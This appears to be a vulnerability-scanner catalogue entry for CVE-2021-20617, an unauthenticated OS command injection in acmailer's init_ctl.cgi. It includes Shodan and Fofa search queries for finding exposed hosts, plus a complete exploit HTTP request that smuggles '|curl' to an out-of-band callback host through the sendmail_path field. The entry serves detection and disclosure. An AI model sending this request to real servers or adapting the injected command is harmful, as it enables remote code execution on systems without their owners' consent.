| Title | Acmailer - Improper Access Control to OS Command Injection |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure. |
| Remediation | Update to the latest version of acmailer and acmailer DB to address the issue. |
| CVSS Score | 9.8 |
| EPSS Score | 0.40785 |
| CVE ID | CVE-2021-20617 |
| CWE ID | NVD-CWE-Other |
| Shodan Query | title="ACMAILER4.0" |
| Fofa Query | title="ACMAILER4.0" |
| Tags | cve cve2021 acmailer rce vkev oast oob |
Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.
POST /init_ctl.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 197
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
admin_name=kKK0A&admin_email=Blnwwe@PoGdP.com&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://d5jn4r9le0o29l6rg7dgnzrbnrsi5c3dt.oast.me&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20617.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20617.pcap
N/AN/A